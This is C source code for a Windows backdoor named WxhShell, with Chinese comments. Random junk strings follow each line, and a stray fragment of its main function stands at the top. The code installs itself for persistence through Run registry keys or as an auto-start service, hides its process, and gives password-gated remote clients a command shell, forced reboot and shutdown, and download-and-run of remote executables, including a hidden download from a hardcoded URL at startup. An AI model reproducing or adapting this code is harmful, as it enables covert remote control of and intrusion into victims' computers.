} 7OCwG~_^
;Xvp6.:
if(!OsIsNt) { _c$9eAe
// 如果时win9x，隐藏进程并且设置为注册表启动 '1^B+m
HideProc(); LPYbHo3fq
StartWxhshell(lpCmdLine); >wHxmq8F5<
} 0c^>eq]
else X[gn+6WB%
if(StartFromService()) L6Wt3U`l
// 以服务方式启动 4)>FS'=
StartServiceCtrlDispatcher(DispatchTable); KInk^`C/H
else y! .J
// 普通方式启动 Zk8|K'oHx
StartWxhshell(lpCmdLine); OS|>t./U
C[!MS5
return 0; wCf~O'XLw
} {O<l[|Ip
C:8_m1Y{
c#IYFTz
b1XRC`Gy
=========================================== r|e-<t4.9L
D]a<4a18
!\8 ;d8
VQ5nq'{v
73#x|lY
[YrHA~=U
" %1 vsN-O}8
C;QAT
#include <stdio.h> Vm}%ttTC
#include <string.h> #rO8Kf
#include <windows.h> XdLCbY
#include <winsock2.h> #GDe08rOw
#include <winsvc.h> ,#d? _?/:O
#include <urlmon.h> `U#55k9^5
Z+j\a5d?,
#pragma comment (lib, "Ws2_32.lib") r;L>.wl*I
#pragma comment (lib, "urlmon.lib") ^EG\iO2X
7@lS.w\#-
#define MAX_USER 100 // 最大客户端连接数 ZOXIT(mg
#define BUF_SOCK 200 // sock buffer /&F,V+x
#define KEY_BUFF 255 // 输入 buffer W>VP'vn}
!zj0/QG\
#define REBOOT 0 // 重启 /xGmg`g<#
#define SHUTDOWN 1 // 关机 ~c)~015`
^<e@uNGg
#define DEF_PORT 5000 // 监听端口 mC?i}+4>4R
K{b(J Nd
#define REG_LEN 16 // 注册表键长度 6hZ@;Q=b
#define SVC_LEN 80 // NT服务名长度 G7--v,R1x
ZCKka0*
// 从dll定义API bl_H4
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y2]-&]&
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ydw)mT44K
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >9RD_QG7
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O=SkAsim
L-B<nl
// wxhshell配置信息 M?&h~V1OI~
struct WSCFG { %sHF-n5P
int ws_port; // 监听端口 E9?phD
char ws_passstr[REG_LEN]; // 口令 r]3'74j:
int ws_autoins; // 安装标记, 1=yes 0=no JpsPNa
char ws_regname[REG_LEN]; // 注册表键名 O+}qQNe<
char ws_svcname[REG_LEN]; // 服务名 "S3wk=?4
char ws_svcdisp[SVC_LEN]; // 服务显示名 V[-jD8='3
char ws_svcdesc[SVC_LEN]; // 服务描述信息 lEHzyh}2k
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :l|%17N
int ws_downexe; // 下载执行标记, 1=yes 0=no '47P|t
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Ysosy*
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |6=p{y
xI>A6
}; HB Iip?
l;y7]DO
// default Wxhshell configuration >.dWjb6t
struct WSCFG wscfg={DEF_PORT, vSi_t K4
"xuhuanlingzhe", WTImRXK4
1, K'K2X-E
"Wxhshell", TuW%zF/
"Wxhshell", rx(2yf
"WxhShell Service", N3u((y/
"Wrsky Windows CmdShell Service", >#,G}xf
"Please Input Your Password: ", 6#IU*
1, /axIIfx-
"http://www.wrsky.com/wxhshell.exe", ui(^k $
"Wxhshell.exe" s'kDk2r
}; %Y!Yvw^&P(
/dv<qp
// 消息定义模块 el:9wq
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5@^ dgq
char *msg_ws_prompt="\n\r? for help\n\r#>"; bdGIF'p%
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /-bO!RTwf
char *msg_ws_ext="\n\rExit."; aW!@f[%~F
char *msg_ws_end="\n\rQuit."; dt2$`X18
char *msg_ws_boot="\n\rReboot..."; PJ='tJDj
char *msg_ws_poff="\n\rShutdown..."; 5/po2V9)
char *msg_ws_down="\n\rSave to "; ?nP*\8
('-JY
char *msg_ws_err="\n\rErr!"; ;FZ@:%qDm
char *msg_ws_ok="\n\rOK!"; Sm~l:v0%
$.9{if#o&
char ExeFile[MAX_PATH]; x3PD1JUf
int nUser = 0; YZ%Hu)
HANDLE handles[MAX_USER]; i hh/sPi
int OsIsNt; .BFYY13H
Ok n(pJ0
SERVICE_STATUS serviceStatus; 2Ry1b+\
SERVICE_STATUS_HANDLE hServiceStatusHandle; &3yD_P_3
F <hJp,q9
// 函数声明 kWdi595
int Install(void); IpP~Uz
int Uninstall(void); Ug&,Y/tFw2
int DownloadFile(char *sURL, SOCKET wsh); 7O,U?p
int Boot(int flag); 61xs%kxb..
void HideProc(void); rk)##)
int GetOsVer(void); 271&i
int Wxhshell(SOCKET wsl); 6M13f@v
void TalkWithClient(void *cs); (PfqRk1Y
int CmdShell(SOCKET sock); >3c@x
int StartFromService(void); msVOH%wH
int StartWxhshell(LPSTR lpCmdLine); LVJxn2x6
,_"AT!r
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UKM2AZ0lb
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JA)] _H P
Ot]Ru,y->+
// 数据结构和表定义 `[C!L *#,
SERVICE_TABLE_ENTRY DispatchTable[] = 7EXI6jGJ|
{ )c8j}
{wscfg.ws_svcname, NTServiceMain}, otk}y8
{NULL, NULL} U#3J0+!
}; hUYd0qEbEt
-%L6#4m4o
// 自我安装 1x[)/@.'f
int Install(void) }[M`uZ
{ Yot?=T};3{
char svExeFile[MAX_PATH]; D$T%\ P
HKEY key; WD1G&5XP
strcpy(svExeFile,ExeFile); [H=)
4q<=K=F
// 如果是win9x系统，修改注册表设为自启动 )n,P"0
if(!OsIsNt) { zA[0mkC?$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %rxO_
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H/Llj.-jg
RegCloseKey(key); up'Tit
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :sCqjz
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;&ASkI
RegCloseKey(key); #vry0i
return 0; gCxAG
} 6C-z=s)P&
} Ox@sI:CT
} 8O Soel
else { JJ%ePgWT
X$yN_7|+
// 如果是NT以上系统，安装为系统服务 3"O>&Q0c
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W8]lBh5~:
if (schSCManager!=0) &8z[`JW,T
{ hEw- O;T0
SC_HANDLE schService = CreateService og0*Nt+
( gH G
schSCManager, NOp609\^
wscfg.ws_svcname, V =-WYu
wscfg.ws_svcdisp, aJcf`<p
SERVICE_ALL_ACCESS, 95z]9UL
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ca>Z7qT!
SERVICE_AUTO_START, 2z|*xS'G
SERVICE_ERROR_NORMAL, &o<F7U'R
svExeFile, /r=tI)'$
NULL, ~{Mn{
NULL, n(el]_d
NULL, -Y='_4s
NULL, k68F-e[i^
NULL .B\5OI,]
); FHC\?Cg
if (schService!=0) $H-!j%hV
{ kS!viJwtT
CloseServiceHandle(schService); L@gWzC~?Q
CloseServiceHandle(schSCManager); PK"c4>q
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ndeebXw*
strcat(svExeFile,wscfg.ws_svcname); 46 PoM
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0A( +ZMd
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ="g*\s?r
RegCloseKey(key); K#U<ib-v
return 0; W]nSR RWco
} |<GDUwC_;
} VP6ZiQ|
CloseServiceHandle(schSCManager); yUp,NfS]o
} nH<eR)0
} 'z[Sp~I\
SGe^ogO"v
return 1; 3Oi nK['
} VhNz8)
]GRWnif
// 自我卸载 3.qTLga|}
int Uninstall(void) lgb?)=
{ 3%E74 mOcD
HKEY key; y>aZXa
.<Zy|1 4
if(!OsIsNt) { c.j$9=XLBG
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,JEFGI{
RegDeleteValue(key,wscfg.ws_regname); D)d~3`=#
RegCloseKey(key); >>5NX"{
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WASU0
RegDeleteValue(key,wscfg.ws_regname); (t4&,W_spA
RegCloseKey(key); +9")KQT
return 0; >2Kh0rIH
} VL*ovD%-
} Et/&^&=\-
} a(0*um(
else { smry2*g
TEaJG9RU>v
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uNHF'?X
if (schSCManager!=0) R>(@ZM&
{ 1Y]TA3:
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J52 o g4l
if (schService!=0) 0gfA#|'
{ =hMY2D
if(DeleteService(schService)!=0) { R<=zCE`:
CloseServiceHandle(schService); ~>+]%FPv
CloseServiceHandle(schSCManager); LH@j8YB5u
return 0; Yx>"bv
} aG92ay
CloseServiceHandle(schService); afb+GA!
} Q !(pE&
CloseServiceHandle(schSCManager); (owrdPT!
} |lkNi
} `^4vT3e
-Q U^c2
return 1; $n^gmhp
} lj?v4$
]._LLSzWhg
// 从指定url下载文件 :.45u}[
int DownloadFile(char *sURL, SOCKET wsh) }~Af/
{ ~PHB_cyth
HRESULT hr; B!\;/Vk
char seps[]= "/"; 7%{ |
char *token; WuZ/C_
char *file; w18y}mS"H
char myURL[MAX_PATH]; :"!9_p(,,
char myFILE[MAX_PATH]; 14"J d\M8
](^(=%
strcpy(myURL,sURL); %Pqf{*d8
token=strtok(myURL,seps); |H!9fZO
while(token!=NULL) #2EI\E&$
{ (1NA
file=token; W<E47
token=strtok(NULL,seps); h@LHRMO
} mb!9&&2-t
U\sHx68
GetCurrentDirectory(MAX_PATH,myFILE); = hN !;7G
strcat(myFILE, "\\"); }ga@/>Sl&
strcat(myFILE, file); ,-OCc!7K
send(wsh,myFILE,strlen(myFILE),0); ~fo6*g:f1
send(wsh,"...",3,0); ]Qe{e3p;
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4sP2g&
if(hr==S_OK) w-0mzk"
return 0; q=9`06
else zD?K>I=
return 1; Iy6$7~
//4Xq8y
} w&%~3Cz.
ubmrlH\d
// 系统电源模块 fa<v0vb+
int Boot(int flag) eEn;!RS)
{ @S7sr-
HANDLE hToken; wWp(yvz
TOKEN_PRIVILEGES tkp; =lVK IW
6HlePTf8
if(OsIsNt) { ,yTjU{<"
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <fs2fTUeqF
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s\P2Bp_{
tkp.PrivilegeCount = 1; 2^^=iU=!<|
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d`/tE?Gw
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G7CG~:3h+
if(flag==REBOOT) { zH*KYB
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %zOh
return 0; d%0~c'D8a
} Ogp"u b8
else { \~5C7^_
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S*sT] J`!
return 0; !Lh^oPT"I
} E.U_W
} XyOl:>%L!P
else { ]7rj/l$u
if(flag==REBOOT) { 8zBWIi
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3ux0Jr2yT
return 0; :hI@AA>g
} .YZgOJi
else { _Dwqy(
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ykFJ%sw3X
return 0; yZWoN&
} 1u|Rl:Q
} ZZyDG9a>7
j6g[N4xr
return 1; A mwa)
} # (- Qx
%~QO8q_7
// win9x进程隐藏模块 LbII?N8`N
void HideProc(void) Tt>8?
{ $\?yAE
Rd>B0;4
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a:_I
if ( hKernel != NULL ) M5trNSL&u
{ A'%1ZQ33O
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hbcuK&
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "C*B,D*}:
FreeLibrary(hKernel); w`DW(hXJ
} JO@|*/mL
LE%7DW(
return; _H^^y$+1
} SKW%X8
-D^}S"'
// 获取操作系统版本 Kb^>-[Yx
int GetOsVer(void) >[1W:KQA
{ 2>l,no39t+
OSVERSIONINFO winfo; Z'k|u4ZC
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -!8(bjlJ&
GetVersionEx(&winfo); _A~4NW{U7
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :(_+7N[KA
return 1; XhPe]P
else 1lpwZ"
return 0; -&e92g&n
} [JaS??ig
Nlj^Dm
// 客户端句柄模块 qSejLh6
int Wxhshell(SOCKET wsl) c~o+WI Ym
{ M+!x}$&v
SOCKET wsh; w%zRHf8C
struct sockaddr_in client; O MX-_\")
DWORD myID; b,IocD6v;P
.{S8f#p9T
while(nUser<MAX_USER) efY8M2
{ 1+7GUSIb
int nSize=sizeof(client); ,2]X}&{i
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O$ HBO
if(wsh==INVALID_SOCKET) return 1; z7-k`(l4
2:LHy[{5
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O0PJ6:9P
if(handles[nUser]==0) m5D"A D
closesocket(wsh); 9Ok9bC'?8@
else y4Er@8I`
nUser++; vsj3
} RJeSi`19T)
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T,_(?YJW
Urgtg37
return 0; TH&qX
} ++Ww88820
e2-Dq]p
// 关闭 socket b5:op@V
void CloseIt(SOCKET wsh) g`>og^7g
{ $M:3XAN
closesocket(wsh); fKtV'/X;Q
nUser--; c={Ft*N
ExitThread(0); J/A[45OD
} syzdd an
4"=Vq5
// 客户端请求句柄 _3Cn{{ A0
void TalkWithClient(void *cs) U,Mx@KdV
{ ]P[%Mhg^
0ji q-3V)
SOCKET wsh=(SOCKET)cs; ?U7) XvQ
char pwd[SVC_LEN]; aTzDew
char cmd[KEY_BUFF]; -@&1`@):{
char chr[1]; x#C@8Bxq=
int i,j; :|1.seLQ
HvxJj+X9
while (nUser < MAX_USER) { q_Lo3|t i
nmjm<Bu
if(wscfg.ws_passstr) { 8I,QD` xu
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S.|FL%;
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); drq hQ
//ZeroMemory(pwd,KEY_BUFF); d^|0R
i=0; \/|)HElKR
while(i<SVC_LEN) { Yct5V,X^
0qFH s
// 设置超时 MEiRj]t
fd_set FdRead; j6ut}Uq
struct timeval TimeOut; B%\gkl
FD_ZERO(&FdRead); 5HS~op2n/
FD_SET(wsh,&FdRead); V|MY!uV
TimeOut.tv_sec=8; OJ4SbI
TimeOut.tv_usec=0; Wn|&cG9
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xdy^^3"
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NV r0M?`4
kWj \x|E
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,572n[-q
pwd=chr[0]; D,ly#Nn
if(chr[0]==0xd || chr[0]==0xa) { OVk~N)
pwd=0; uENdI2EY8y
break; M*pRv
} e1q"AOV6
i++; R\s!*)
} nF)uTk
`3q;~ 9
// 如果是非法用户，关闭 socket $WW)bP d4^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D';eTy Y
} #:ns64|
%G3sjnI;l
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xeTgV&$@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l|/:Ot
Z"I/ NGiU
while(1) { eUO9a~<
Z%gx%$
ZeroMemory(cmd,KEY_BUFF); >P. 'CU
R,@g7p
// 自动支持客户端 telnet标准 ?HHzQ4w%{
j=0; 99 wc
while(j<KEY_BUFF) { sNU}n<J-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mE#nU(+Ta
cmd[j]=chr[0]; #<CIFVH
if(chr[0]==0xa || chr[0]==0xd) { BC\S/5~k
cmd[j]=0; l!IKUzt)7
break; 99iUOw c
} hh.Q\qhubB
j++; ~0-g%C?R
} $GF]/;\m
5@u~3jPd
// 下载文件 ^O%9yEo
if(strstr(cmd,"http://")) { `Xo4q3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); XY+y}D %
if(DownloadFile(cmd,wsh)) X,v4d~>]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); msk/p>{O
else $->d!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q1tpCT
} );}t&}
else { ;rBp1[qVe
5JFV%odo
switch(cmd[0]) { cBEHH4U
-p#,5}
// 帮助 z \?UGxu}
case '?': { t%+$"nP
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O]nT>;PXX
break; RIhOR8)
} Q;26V4
// 安装 E`@43Nz
case 'i': { V_a)jJ
if(Install()) .RRlUWu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=&;Y@t
else 3q &k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %<}=xJf>1
break; m)f|:MM
} y(8d?]4:_
// 卸载 BXTN>d27
case 'r': { am:.NG+
if(Uninstall()) :)P<jX-G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |< N frz
else 4MX7=!E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v["3
break; |%ZpatZA5
} 3Xdn62[&
// 显示 wxhshell 所在路径 5G?.T?
case 'p': { `$-lL"
char svExeFile[MAX_PATH]; V.,bwPb{9
strcpy(svExeFile,"\n\r"); "=A|K~b
strcat(svExeFile,ExeFile); R=35 7^[R
send(wsh,svExeFile,strlen(svExeFile),0); KO-a; [/
break; ;c)! @GoA
} _0]QS4a][c
// 重启 X')S;KW
case 'b': { ylkqhs&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .&(8(C
if(Boot(REBOOT)) l;5`0N?QO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "/y|VTV"
else { lJj&kVHb
closesocket(wsh); 'bm:u
ExitThread(0); oeGS
} N ^f}ui i
break; hfh.eL
} ^^ j/
// 关机 ux&:Rw\
case 'd': { uWrFunh%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uTw|Q{f
if(Boot(SHUTDOWN)) 1 mHk =J~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); SW=aHM
else { CKN8z
closesocket(wsh); \6LcVik
ExitThread(0); lrn+d$!@
} X{'wWWZC
break; _r7=&oL.Q
} &@"w-M
// 获取shell L"9 Gc
case 's': { X{s/``n
CmdShell(wsh); &]*|6cR$E
closesocket(wsh); #Wq#beBb
ExitThread(0); 2| $k`I,
break; h^v9|~ZJ'7
} gTuX *7w
// 退出 G ;jF9i
case 'x': { Kf&r21h
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -D;lS 6
CloseIt(wsh); \ bC}&Iz6
break; @F~0p5I
} `TAcZl=8
// 离开 6l<1A$BQ
case 'q': { I=K[SY,]9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4%%B0[Wo_O
closesocket(wsh); Xv8fPP(
WSACleanup(); uH0#rgKt
exit(1); i@Vs4E[b
break; U* 4{"
} &1oaZY w
} o;*]1
} OM1*Iy
Sr-|,\/O
// 提示信息 ( -xR7A
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 17|@f
} bD d_}
} Plb}dID"
DqRLx85d1
return; /!:L7@BZ
} 6/VNuQ_#
kRQ~hRT6
// shell模块句柄 xa' nJ"f;
int CmdShell(SOCKET sock) 9y;y7i{>?
{ xp~YIeSg
STARTUPINFO si; #i@ACAgn;6
ZeroMemory(&si,sizeof(si)); otoBb^Mz
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M9h<}mh\
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HUK"OH
PROCESS_INFORMATION ProcessInfo; (K<Z=a
char cmdline[]="cmd"; Tln9q0"W
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w<v1N
return 0; _F3KFQ4,S-
} ]v<d0"2
CGCQa0
// 自身启动模式 u0wn=Dg
int StartFromService(void) S3b|wUf
{ umqLKf=x!
typedef struct o; 6fvn
{ 9/FG,9
DWORD ExitStatus; keqr%:E8
DWORD PebBaseAddress; :EYu 4Y
DWORD AffinityMask; 56"#Syj
DWORD BasePriority; /*AJ+K._
ULONG UniqueProcessId; poTl|y @
ULONG InheritedFromUniqueProcessId; bkxk i@t
} PROCESS_BASIC_INFORMATION; ?rky6
]Jja
PROCNTQSIP NtQueryInformationProcess; vU?b"n
GJ.kkTMT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ng?apaIi@~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u,:CJ[3
'" ^ B&W
HANDLE hProcess; UwZu:[T6H
PROCESS_BASIC_INFORMATION pbi; :U!'U;uQ
]jZiW1C*a
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (zjz]@qJ
if(NULL == hInst ) return 0; ROPC |
=fL6uFmxI@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E]e,cd
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '2wXV;`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BhOXXa{B
sM#!Xl;
if (!NtQueryInformationProcess) return 0; V h Z=,m
.WBI%ci
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;Fx')
if(!hProcess) return 0; j2< !z;2
eo>/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MFf05\aDu
unCt4uX^
CloseHandle(hProcess); x{=[w`
ERUs0na]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;% /6Y~/
if(hProcess==NULL) return 0; q"{Up
!w @1!Xpn1
HMODULE hMod; 4 *Bp
char procName[255]; P%.`c?olbs
unsigned long cbNeeded; L2[Ei|9_
jl;kcGE
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9@$tiDV
#H'sZv
CloseHandle(hProcess); "Czz,;0
fR+Ov8PCq
if(strstr(procName,"services")) return 1; // 以服务启动 73'U#@g6
R4&|t
return 0; // 注册表启动 X{5v?4wI
} Q3Ny5G>
#[gcg]6c
// 主模块 WF+bN#YJ
int StartWxhshell(LPSTR lpCmdLine) B rez&3[
{ 8O"x;3I9
SOCKET wsl; kHt!S9r
BOOL val=TRUE; f}L>&^I)
int port=0; u@GRN`yn
struct sockaddr_in door; nQ:ml
*,O :>Z5I
if(wscfg.ws_autoins) Install(); ;FV~q{
g`%ED0aR
port=atoi(lpCmdLine); WHlD%u
|#DC.Ga!
if(port<=0) port=wscfg.ws_port; 7bgnZ]r8t
.Ws iOJU
WSADATA data; *6 I =oE
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n;-x!Gs
btUUZ"q<
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ""25ay
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K$Mx}m7l
door.sin_family = AF_INET; 3EbnZb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [(D}%+2
door.sin_port = htons(port); NZfo`iHAN
1Qp1Es<)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W+#}~2&Dv
closesocket(wsl); H]%mP|
return 1; ?c|`R1D
} U6/m_`nc
:0J-ek.;
if(listen(wsl,2) == INVALID_SOCKET) { jw`&Np2Q
closesocket(wsl); pl jV|.?
return 1; {u(}ED#p
} x?k
Wxhshell(wsl); A^T~@AO
WSACleanup(); SX_kr^#
"sX[p
return 0; +t7c&td\
n.Ur-ot
} 'U|MM;(
D{,[\^c
// 以NT服务方式启动 *@\?}cX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) XPc9z}/(e
{ Z4wrXss~
DWORD status = 0; p%1xj2 ?nN
DWORD specificError = 0xfffffff; SXHru Z
P+*rWJ8gQ
serviceStatus.dwServiceType = SERVICE_WIN32; y]z)jqX<
serviceStatus.dwCurrentState = SERVICE_START_PENDING; f^[{k {t
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ="#:=i]
serviceStatus.dwWin32ExitCode = 0; Y\z^\k
serviceStatus.dwServiceSpecificExitCode = 0; ,p[\fT($]
serviceStatus.dwCheckPoint = 0; nJ'>#9~a'>
serviceStatus.dwWaitHint = 0; VurP1@e&
`&|l;zsS
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (/9.+V_
if (hServiceStatusHandle==0) return; Ovaj":L
+eV4g2w)
status = GetLastError(); jza}-=&+e
if (status!=NO_ERROR) }\`-G+i{W
{ Z3X&<Y5
serviceStatus.dwCurrentState = SERVICE_STOPPED; H}jK3;8E
serviceStatus.dwCheckPoint = 0; 1A`?y& Ll
serviceStatus.dwWaitHint = 0; i-i}`oN
serviceStatus.dwWin32ExitCode = status; NE;(..
serviceStatus.dwServiceSpecificExitCode = specificError; 1,%#O;ya
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @MlU!oR&
return; <WHs
} "a0u-}/D
SBN_>;$c5}
serviceStatus.dwCurrentState = SERVICE_RUNNING; f}9PEpa,Z
serviceStatus.dwCheckPoint = 0; H/^TXqQ8
serviceStatus.dwWaitHint = 0; lH,]ZA./
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +AgkPMy
} !"Oj$c -
0?5%
// 处理NT服务事件，比如：启动、停止 Fl#VKU3h
VOID WINAPI NTServiceHandler(DWORD fdwControl) ERX|cc
{ !5E%W[
switch(fdwControl) 'sjJSc
{ =7J|KoKK
case SERVICE_CONTROL_STOP: :C|>y4U&(s
serviceStatus.dwWin32ExitCode = 0; Zs3]|bUR
serviceStatus.dwCurrentState = SERVICE_STOPPED; @T,H.#bL
serviceStatus.dwCheckPoint = 0; 7fN&Q~.
serviceStatus.dwWaitHint = 0; #g-*n@ 1
{ PPj6QJ]R0
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cvs"WX3
} ~-`BSR
return; `%mBu`A
case SERVICE_CONTROL_PAUSE: X#Dhk6
serviceStatus.dwCurrentState = SERVICE_PAUSED; }VGI Y>v
break; vS J<
case SERVICE_CONTROL_CONTINUE: Z68Wf5@to&
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9 .&Or4>
break; :,}:c%-^"
case SERVICE_CONTROL_INTERROGATE: nuQLq^e
break; _#^A:a^e8
}; R.2KYhp,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); rmg";(I
} |S>J<]H p
cO=UswIkwO
// 标准应用程序主函数 =-Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %)6:eIS
{ v_@#hf3
3R:7bex
// 获取操作系统版本 QqFfR#
OsIsNt=GetOsVer(); xV n]m9i
GetModuleFileName(NULL,ExeFile,MAX_PATH); !s[j1=y
tO+%b=Z^
// 从命令行安装 8O.:3%D~ t
if(strpbrk(lpCmdLine,"iI")) Install(); 21/a3Mlx#
GdfKxSO
// 下载执行文件 'De'(I
if(wscfg.ws_downexe) { P=SxiXsr$
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9a~BAH,j
WinExec(wscfg.ws_filenam,SW_HIDE); 6ImV5^l
} '/yx_RK2?
$Op/5j
if(!OsIsNt) { {^$"/hj
// 如果时win9x，隐藏进程并且设置为注册表启动 VQ,\O
HideProc(); WEV{C(u<k!
StartWxhshell(lpCmdLine); K}5$;W#
} A]SB c2
else !7NzW7j
if(StartFromService()) xBI"{nGoN
// 以服务方式启动 E~Up\f
StartServiceCtrlDispatcher(DispatchTable); aIt 0;D
else "za*$DU
// 普通方式启动 k0e|8g X
